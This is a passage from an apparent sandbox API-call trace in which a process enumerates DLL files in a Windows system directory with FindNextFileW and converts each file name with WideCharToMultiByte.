lpUsedDefaultChar=0x0) returned 12 [0028.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX2.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.473] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0028.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX3.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.473] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0028.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX4.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.473] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0028.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX5.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.473] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0028.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX6.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.473] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0028.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BLACKBOX.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.474] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0028.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTVID.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.474] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0028.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.474] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0028.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWSEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.474] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0028.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BTPANUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.474] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0028.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0028.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x38c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWCONTEXTHANDLER.DLL", lpUsedDefaultChar=0x0) returned 20 [0028.474] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0028.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0028.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x38c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWUNPAIRELEVATED.DLL", lpUsedDefaultChar=0x0) returned 20 [0028.474] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0028.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABINET.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.475] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0028.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABVIEW.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.475] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0028.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x38c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPIPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 16 [0028.475] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0028.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x38c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPISP.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.475] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0028.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x38c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRV.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.475] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0028.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVPS.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.476] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0028.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVUT.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.476] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0028.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CCA.DLL", lpUsedDefaultChar=0x0) returned 7 [0028.476] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0028.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x38c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CDOSYS.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.476] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0028.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.476] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0028.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0028.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x38c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCREDPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 20 [0028.476] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0028.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, 